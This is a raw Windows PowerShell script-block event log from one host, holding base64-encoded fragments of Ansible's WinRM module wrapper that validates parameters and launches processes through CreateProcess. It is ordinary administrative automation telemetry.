GEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgIC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cmFsIFB1YmxpYyBMaWNlbnNlIHYzLjArIChzZWUgQ09QWUlORyBvciBodHRwczovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0zLjAudHh0KQoKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5MZWdhY3kKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5Db21tYW5kVXRpbAojUmVxdWlyZXMgLU1vZHVsZSBBbnNpYmxlLk1vZHVsZVV0aWxzLkZpbGVVdGlsCgojIFRPRE86IGFkZCBjaGVjayBtb2RlIHN1cHBvcnQKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKIyBDbGVhbnNlIENMSVhNTCBmcm9tIHN0ZGVyciAoc2lmdCBvdXQgZXJyb3Igc3RyZWFtIGRhdGEsIGRpc2NhcmQgb3RoZXJzIGZvciBub3cpCkZ1bmN0aW9uIENsZWFuc2UtU3RkZXJyKCRyYXdfc3RkZXJyKSB7CiAgICBUcnkgewogICAgICAgICMgTkI6IHRoaXMgcmVnZXggaXNuJ3QgcGVyZmVjdCwgYnV0IGlzIGRlY2VudCBhdCBmaW5kaW5nIENMSVhNTCBhbW9uZ3N0IG90aGVyIHN0ZGVyciBub2lz
ScriptBlock ID: ba03df0a-c1cb-4c79-bc3c-95ba6c1560e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1536 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0002-3ffb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
fcGF0aAp9CgpGdW5jdGlvbiBSdW4tQ29tbWFuZCB7CiAgICBQYXJhbSgKICAgICAgICBbc3RyaW5nXSRjb21tYW5kLCAjIHRoZSBmdWxsIGNvbW1hbmQgdG8gcnVuIGluY2x1ZGluZyB0aGUgZXhlY3V0YWJsZQogICAgICAgIFtzdHJpbmddJHdvcmtpbmdfZGlyZWN0b3J5ID0gJG51bGwsICMgdGhlIHdvcmtpbmcgZGlyZWN0b3J5IHRvIHJ1biB1bmRlciwgd2lsbCBkZWZhdWx0IHRvIHRoZSBjdXJyZW50IGRpcgogICAgICAgIFtzdHJpbmddJHN0ZGluID0gJG51bGwsICMgYSBzdHJpbmcgdG8gc2VuZCB0byB0aGUgc3RkaW4gcGlwZSB3aGVuIGV4ZWN1dGluZyB0aGUgY29tbWFuZAogICAgICAgIFtoYXNodGFibGVdJGVudmlyb25tZW50ID0gQHt9ICMgYSBoYXNodGFibGUgb2YgZW52aXJvbm1lbnQgdmFsdWVzIHRvIHJ1biB0aGUgY29tbWFuZCB1bmRlciwgdGhpcyB3aWxsIHJlcGxhY2UgYWxsIHRoZSBvdGhlciBlbnZpcm9ubWVudCB2YXJpYWJsZXMgd2l0aCB0aGVzZQogICAgKQogICAgCiAgICAjIGxvYWQgdGhlIEMjIGNvZGUgd2UgY2FsbCBpbiB0aGlzIGZ1bmN0aW9uCiAgICBMb2FkLUNvbW1hbmRVdGlscwoKICAgICMgbmVlZCB0byB2YWxpZGF0ZSB0aGUgd29ya2luZyBkaXJlY3RvcnkgaWYgaXQgaXMgc2V0CiAgICBpZiAoJHdvcmtpbmdfZGlyZWN0b3J5KSB7CiAgICAgICAgIyB2YWxpZGF0ZSB3b3JraW5nIGRpcmVjdG9yeSBpcyBhIHZhbGlkIHBhdGgKICAgICAgICBpZiAoLW5vdCAoVGVzdC1QYXRoIC1QYXRoICR3b3JraW5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ICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBl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VudCB2YXJpYWJsZXMgb24gcGF0aC10eXBlCiAgICAgICAgICAgICR2YWx1ZSA9IEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoI
ScriptBlock ID: ba03df0a-c1cb-4c79-bc3c-95ba6c1560e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1535 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0002-3ffb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
uZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgb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gICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICA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CBzdGRvdXRfc3RyLCBvdXQgc3RkZXJyX3N0cik7CiAgICAgICAgICAgIHVpbnQgcmMgPSBHZXRQcm9jZXNzRXhpdENvZGUocGkuaFByb2Nlc3MpOwoKICAgICAgICAgICAgcmV0dXJuIG5ldyBDb21tYW5kUmVzdWx0CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN0YW5kYXJkT3V0ID0gc3Rkb3V0X3N0ciwKICAgICAgICAgICAgICAgIFN0YW5kYXJkRXJyb3IgPSBzdGRlcnJfc3RyLAogICAgICAgICAgICAgICAgRXhpdENvZGUgPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7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9IFtBbnNpYmxlLkNvbW1hbmRVdGlsXTo6U2VhcmNoUGF0aCgkZXhlY3V0YWJsZSkgICAgCiAgICB9CiAgICByZXR1cm4gJGV4ZWN1dGFibGV
ScriptBlock ID: ba03df0a-c1cb-4c79-bc3c-95ba6c1560e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1534 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0002-3ffb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKIC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0ZW1lbnQoKS5BZGRTY3JpcHQoIltDb25zb2xlXTo6SW5wdXRFbmNvZGluZyA9IE5ldy1PYmplY3QgVGV4dC5VVEY4RW5jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5c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WMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0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aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyB
ScriptBlock ID: ba03df0a-c1cb-4c79-bc3c-95ba6c1560e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1533 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1176 | 968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:52:28 AM | dfeadd90-ee34-0002-3ffb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |